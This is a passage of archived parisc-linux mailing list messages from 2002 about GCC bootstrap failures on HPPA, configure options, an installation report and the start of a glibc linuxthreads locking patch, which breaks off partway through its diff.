Date: Mon, 18 Nov 2002 21:38:22 +0000 (UTC)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211172143030.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211172126.gAHLQRxs018282@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621945 17366 80.91.229.3 (22 Nov 2014 02:05:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 14:38:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id F24C3482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 14:38:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 3BF161FFE9A; Mon, 18 Nov 2002 22:38:08 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 88D951FFEDE; Mon, 18 Nov 2002 22:38:07 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id A346C22E1A; Mon, 18 Nov 2002 21:38:22 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 7C43422E17; Mon, 18 Nov 2002 21:38:22 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211172126.gAHLQRxs018282@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16856

On Sun, 17 Nov 2002, John David Anglin wrote:

> > that fast *waeehhh* someone missed that last zero at 715/100(0) 8-(
>
> Yes, full bootstrap and check is close to 24 hours on 100MHz machines.

*grmml* failed again in; this time in parse.o

running
../gcc/configure --enable-nls=no --with-gnu-ld \
	--enable-languages=c,c++,objc --disable-libgcj
now

failed too this night...

running

../gcc/configure -v --enable-languages=c,c++,f77,objc --prefix=/usr --infodir=/share/info \
        --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib \
        --enable-long-long --enable-nls --without-included-gettext --disable-checking \
        --enable-threads=posix --with-cpp-install-dir=bin --enable-objc-gc hppa-linux

now. really lokks better ... *grmml*


> > no bash, nowhere, never, not as dflt ! 2> /dev/null ;-))

meant:

bz@apollo:~> echo $SHELL
/usr/bin/tcsh

> What's /bin/sh?

a symlink ;-)  could be (a|k|z|...)sh too but is a bash at the moment...

*_will_* be a sh(1) some day but it's not yet stable and fully usable...

bz@apollo:~/sh> uname
Linux
bz@apollo:~/sh> ./sh -c 'echo BSD rulez \:-\)'
BSD rulez :-)

bz@apollo:~/sh> strings ./sh | egrep -E '(BSD|Berkeley)'
$FreeBSD: src/bin/sh/arith.y,v 1.13 2002/02/02 06:50:45 imp Exp $
$FreeBSD: src/bin/sh/arith_lex.l,v 1.17 2002/02/02 06:50:46 imp Exp $
$FreeBSD: src/usr.bin/printf/printf.c,v 1.26 2002/09/04 23:29:05 dwmalone Exp $
@(#)yaccpar     1.9 (Berkeley) 02/21/93
@(#)history.c   8.1 (Berkeley) 6/4/93
@(#)tokenizer.c 8.1 (Berkeley) 6/4/93

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Mon, 18 Nov 2002 16:52:36 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200211182152.gAILqaHk021705@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211172143030.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621945 17368 80.91.229.3 (22 Nov 2014 02:05:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 14:52:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC4E9483A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 14:52:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAILqaot021707;
	Mon, 18 Nov 2002 16:52:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAILqaHk021705;
	Mon, 18 Nov 2002 16:52:36 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211172143030.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 18, 2002 09:38:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16857

> *grmml* failed again in; this time in parse.o

If the failure was caused by a segmentation fault, restart the build with
"make bootstrap2" or "make bootstrap3" depending on the stage in which
it failed and see what happens.

> ../gcc/configure -v --enable-languages=c,c++,f77,objc --prefix=/usr --infodir=/share/info \

It is not a good idea to replace the default compiler used for building
the system and glibc.  These pretty much have to be kept in sync.  Set
--prefix to some other directory.  It is not a bad idea to keep each
version of gcc in its own directory.  If there is a bug in the installed
compiler, it makes it much easier to do a new build.

The Makefile's use /bin/sh and pretty much assume bash or ksh.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Darren Wathen" <dw@vastute.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] An easy installation on a K360/3 with 2.4.3-pa16-pdc
Date: Tue, 19 Nov 2002 09:01:15 +1100
Lines: 52
Approved: news@gmane.org
Message-ID: <000701c28f4e$081aa460$2cb032d2@home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0008_01C28FAA.3B8B1C60"
X-Trace: ger.gmane.org 1416621946 17370 80.91.229.3 (22 Nov 2014 02:05:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 15:01:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from duckula.hotkey.net.au (duckula.hotkey.net.au [202.138.0.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D2274834
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 15:01:34 -0700 (MST)
Original-Received: from home (044.a.007.syd.iprimus.net.au [210.50.176.44])
	by duckula.hotkey.net.au (8.11.6/8.11.6) with ESMTP id gAIM2Hs17398
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Nov 2002 09:02:17 +1100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16858

This is a multi-part message in MIME format.

------=_NextPart_000_0008_01C28FAA.3B8B1C60
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Thanks to the notes on the console causing a kernel crash I downloaded a
new iso and booted to the CD. Easy install, followed the prompts and it
was done. Now loading up apache, mysql and openssl. Should be in use as
my DB and app server in a few weeks at redone.vastute.com.
 
Regards,
 
Darren Wathen

------=_NextPart_000_0008_01C28FAA.3B8B1C60
Content-Type: text/html;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message</TITLE>

<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D372225721-18112002><FONT face=3DArial size=3D2>Thanks =
to the notes=20
on the console causing a kernel crash I downloaded a new iso and booted =
to the=20
CD. Easy install, followed the prompts and it was done. Now loading up =
apache,=20
mysql and openssl. Should be in use as my DB and app server in a few =
weeks at=20
redone.vastute.com.</FONT></SPAN></DIV>
<DIV><SPAN class=3D372225721-18112002><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D372225721-18112002><FONT face=3DArial=20
size=3D2>Regards,</FONT></SPAN></DIV>
<DIV>&nbsp;</DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2><STRONG>Darren=20
Wathen</STRONG></FONT></DIV>
<DIV align=3Dleft>
<DIV align=3Dleft><FONT face=3DArial =
size=3D2></FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0008_01C28FAA.3B8B1C60--



From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Mon, 18 Nov 2002 22:15:52 +0000 (UTC)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211182213160.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211182152.gAILqaHk021705@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621946 17371 80.91.229.3 (22 Nov 2014 02:05:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 15:15:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 001DC482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 15:15:06 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 479771FFEB9; Mon, 18 Nov 2002 23:15:02 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 959F81FFED2; Mon, 18 Nov 2002 23:15:01 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id E28FA22E1C; Mon, 18 Nov 2002 22:15:52 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id D90DE22E1B; Mon, 18 Nov 2002 22:15:52 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211182152.gAILqaHk021705@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16859

On Mon, 18 Nov 2002, John David Anglin wrote:

> > *grmml* failed again in; this time in parse.o
>
> If the failure was caused by a segmentation fault, restart the build with
> "make bootstrap2" or "make bootstrap3" depending on the stage in which
> it failed and see what happens.

rm -rf'ed the build due to almost no free disk space...

> > ../gcc/configure -v --enable-languages=c,c++,f77,objc --prefix=/usr --infodir=/share/info \
>
> It is not a good idea to replace the default compiler used for building
> the system and glibc.  These pretty much have to be kept in sync.  Set
> --prefix to some other directory.  It is not a bad idea to keep each

*merde* missed it.. copied options from 3.0.4debian /usr/bin/gcc -v

if it compiles it will be no prob to wait another day ;-))

updated my compile.sh ... thanks.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Mon, 18 Nov 2002 17:21:20 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200211182221.gAIMLK0I021949@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211182213160.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621946 17373 80.91.229.3 (22 Nov 2014 02:05:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 15:21:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67AC5482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 15:21:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAIMLLot021951;
	Mon, 18 Nov 2002 17:21:21 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAIMLK0I021949;
	Mon, 18 Nov 2002 17:21:20 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211182213160.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 18, 2002 10:15:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16860

> rm -rf'ed the build due to almost no free disk space...

Use "make bootstrap-lean" to conserve disk space.  This will delete
previous stages when they are no longer needed.

> *merde* missed it.. copied options from 3.0.4debian /usr/bin/gcc -v

You don't need all the options that they use.  Take a look at

http://gcc.gnu.org/ml/gcc-testresults/2002-11/msg00475.html

to the configure options that I use.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Implement linuxthreads on HPPA
Date: Tue, 19 Nov 2002 01:06:20 -0500
Lines: 879
Approved: news@gmane.org
Message-ID: <20021119060620.GE12451__22361.964689526$1416621947$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Y2illNFYgwJwqOHD"
X-Trace: ger.gmane.org 1416621947 17376 80.91.229.3 (22 Nov 2014 02:05:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:47 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:06:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69FBC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:06:08 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1We-0001zs-00; Tue, 19 Nov 2002 01:06:20 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16861

--Y2illNFYgwJwqOHD
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

I've reworked the hppa pthreads patch to be as low impact as possible :)
Though some things need to be done, namely, hppa needs the lock variable
to be 16-byte aligned. This alignment requirement means all sorts of ugly
things, from wrappers to avoid non-constant named initializers, to the use
of a struct for a lock variable.

Thanks for all your feedback.

My apologies for the slow return, school called :}

c.

Round 2 ...

 linuxthreads/descr.h                                          |    2 
 linuxthreads/pt-machine.c                                     |    4 
 linuxthreads/pthread.c                                        |   16 -
 linuxthreads/spinlock.c                                       |   24 -
 linuxthreads/spinlock.h                                       |   26 +
 linuxthreads/sysdeps/hppa/pspinlock.c                         |   24 -
 linuxthreads/sysdeps/hppa/pt-machine.h                        |   46 ++-
 linuxthreads/sysdeps/pthread/bits/libc-lock.h                 |    6 
 linuxthreads/sysdeps/pthread/bits/pthreadtypes.h              |    8 
 linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h     |   22 +
 linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h |  146 ++++++++++
 linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c       |  132 ++++-----
 sysdeps/hppa/dl-fptr.c                                        |   10 
 13 files changed, 336 insertions(+), 130 deletions(-)

---

2002-11-11  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* linuxthreads/descr.h: Change spinlock type to __atomic_lock_t.
	* linuxthreads/pt-machine.c: Change extern definition of testandset
	so it uses __atomic_lock_t instead of int.
	* linuxthreads/pthread.c:
	(__pthread_initialize_minimal): Replace the use of __LT_SPINLOCK_INIT
	with __LT_INITIALIZER_NOT_ZERO in cases where it is used to check 
	wether the initialization should occur or not.
	(__pthread_initialize_manager): Likewise.
	* linuxthreads/spinlock.h: Add default define for lock_held if it has 
	not already been defined. Create the __pthread_lock_define_initialized
	macro to wrap up the use of an alternate initializer. Change 
	__pthread_compare_and_swap to use __atomic_lock_t,
	(compare_and_swap): Change function definitions to use __atomic_lock_t
	(compare_and_swap_with_release_semantics): Likewise.
	(__pthread_compare_and_swap): Likewise.
	* linuxthreads/spinlock.c: Change definition of __pthread_acquire to 
	use __atomic_lock_t. Modify struct wait_node to use __atomic_lock_t 
	as lock. Wrap definition and init of wait_node_free_list_spinlock in 
	macro.
	(__pthread_release): Change function definition to use __atomic_lock_t
	(__pthread_alt_lock): Change instances of abandoned = 0 to
	abandoned = __LT_SPINLOCK_INIT.
	(__pthread_alt_timedlock): Likewise.
	(__pthread_alt_unlock): Use lock_held instead of just checking 
	abandoned == 0. Typo fix in comment from "canno6" to "cannot"
	(__pthread_compare_and_swap): Change function definition to use 
	__atomic_lock_t.
	(__pthread_acquire): Likewise.
	* linuxthreads/sysdeps/hppa/pspinlock.c: Define __ldcw macro for PA's
	single atomic operation.
	(__pthread_spin_lock): Modified to use __ldcw macro.
	(__pthread_spin_trylock): Likewise.
	* linuxthreads/sysdeps/hppa/pt-machine.h: Add sys/types.h to pull in
	__atomic_long_t definition. Remove extern testandset define. Add 
	defines for FLOATING_STACKS and ARACH_STACK_MAX_SIZE. Add lock_held
	macro.
	(__get_cr27): New.
	(__set_cr27): New.
	(__load_and_clear): New.
	(testandset): Modified to emulate testandset using __load_and_clear.
	* linuxthreads/sysdeps/pthread/bits/libc-lock.h: Replace the use of
	__LT_SPINLOCK_INIT with that of __LT_INITIALIZER_NOT_ZERO.
	* linuxthreads/sysdeps/pthread/bits/pthreadtypes.h:
	Define default __atomic_lock_t to be an int. Change struct
	_pthread_fastlock to reflect name change.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h:
	Change macro's to reflect that lock is actually struct.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h: New.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c: 
	Avoid unterminated string literals.
	* sysdeps/hppa/dl-fptr.c: Change global lock to use 
	__LT_SPINLOCK_ALT_INIT.
	(__hppa_make_fptr): Use __LT_SPINLOCK_INIT to clear locks.
	(_dl_unmap): Likewise.
	(_dl_lookup_address): Likewise, and clear bottom two bits of address
	to fix function pointer calculation, see make_ftpr for the reasoning.


--Y2illNFYgwJwqOHD
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=00-glibc23-hppa-pthreads

diff -urN glibc-2.3.1.orig/linuxthreads/descr.h glibc-2.3.1/linuxthreads/descr.h
--- glibc-2.3.1.orig/linuxthreads/descr.h	2002-10-09 05:10:55.000000000 -0400
+++ glibc-2.3.1/linuxthreads/descr.h	2002-11-03 16:57:02.000000000 -0500
@@ -61,7 +61,7 @@
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
diff -urN glibc-2.3.1.orig/linuxthreads/pt-machine.c glibc-2.3.1/linuxthreads/pt-machine.c
--- glibc-2.3.1.orig/linuxthreads/pt-machine.c	2002-08-26 18:39:45.000000000 -0400
+++ glibc-2.3.1/linuxthreads/pt-machine.c	2002-11-09 19:03:50.000000000 -0500
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
diff -urN glibc-2.3.1.orig/linuxthreads/pthread.c glibc-2.3.1/linuxthreads/pthread.c
--- glibc-2.3.1.orig/linuxthreads/pthread.c	2002-10-11 06:53:15.000000000 -0400
+++ glibc-2.3.1/linuxthreads/pthread.c	2002-11-07 09:39:12.000000000 -0500
@@ -309,9 +309,9 @@
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
 # ifndef SHARED
   /* Unlike in the dynamically linked case the dynamic linker has not
@@ -334,7 +334,7 @@
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -346,9 +346,9 @@
